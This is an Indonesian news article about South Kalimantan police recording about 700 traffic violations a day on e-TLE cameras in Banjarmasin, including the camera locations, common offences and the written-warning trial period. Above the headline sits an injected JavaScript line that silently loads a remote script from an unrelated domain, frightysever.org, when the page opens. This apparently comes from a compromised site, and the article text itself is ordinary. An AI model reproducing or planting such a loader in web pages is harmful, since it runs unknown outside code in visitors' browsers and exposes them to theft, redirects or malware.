(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Polda Kalsel Catat 700 Pelanggaran per Hari Terpantau Kamera e-TLE

KANALKALIMANTAN.COM, BANJARMASIN – Ditlantas Polda Kalsel mencatat setiap hari sedikitnya ada 700 pelanggaran dilakukan pengguna jalan yang terpantau kamera electronic traffic law enforcement atau e-TLE.

Diketahui bahwa pelanggaran tersebut termonitor dari tiga kamera e-TLE di dua titik Kota Banjarmasin, antara lain Jalan A Yani KM 6 arah masuk kota dan arah keluar kota, serta satu titik kamera pagi di perempatan Jalan Pangeran Samudera.

Direktur Lalu Lintas Polda Kalsel, Kombes Pol Maesa Soegriwo melalui Kasubdit Gakkum, AKBP Ifan Hariyat mengatakan, hasil evaluasi dan monitoring setiap hari rata-rata ada 700 pelanggar tertangkap kamera e-TLE dan dilakukan konfirmasi ke alamat pelanggar via kantor pos.

“Kami akan mengkonfirmasi ke alamat pelanggar melalui kantor pos, dan selanjutnya pelanggar mengkonfirmasi balik ke Ditlantas Polda Kalsel,” kata AKBP Ifan Hariyat, Senin (12/7/2021).

Untuk sementara ujarnya, para pelanggar diberi teguran tertulis oleh petugas, karena masih percobaan dan sosialisasi.

Pelanggaran yang sering tertangkap kamera e-TLE adalah pelanggaran rambu lalu lintas, berboncengan lebih dari satu orang, menggunakan ponsel saat berkendara, tak memakai helm dan tak menggunakan sabuk pengaman.

Penindakan tilang dilakukan setelah peluncuran kedua nasional, dimana ada 13 Polda yang diluncurkan, termasuk Polda Kalsel. “Kami masih menunggu arahan Korlantas Polri, karena e-TLE ini terpusat,” kata Kadubdit Gakkum Ditlantas Polda Kalsel.

Namun untuk kegiatan hunting sistem dilakukan Polres jajaran tetap menindak, tanpa kamera e-TLE, dan direalisasi dengan tilang elektronik untuk kedepannya. (kanalkalimantan.com/shintia)

Reporter : shintia
Editor : bie